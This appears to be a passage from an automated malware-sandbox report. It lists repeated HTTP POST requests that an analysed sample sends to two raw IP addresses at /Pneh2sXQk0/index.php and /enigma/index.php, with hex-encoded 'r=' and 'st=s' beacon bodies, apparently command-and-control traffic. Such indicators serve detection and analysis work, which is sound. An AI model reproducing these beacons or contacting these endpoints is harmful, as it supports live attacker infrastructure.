Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
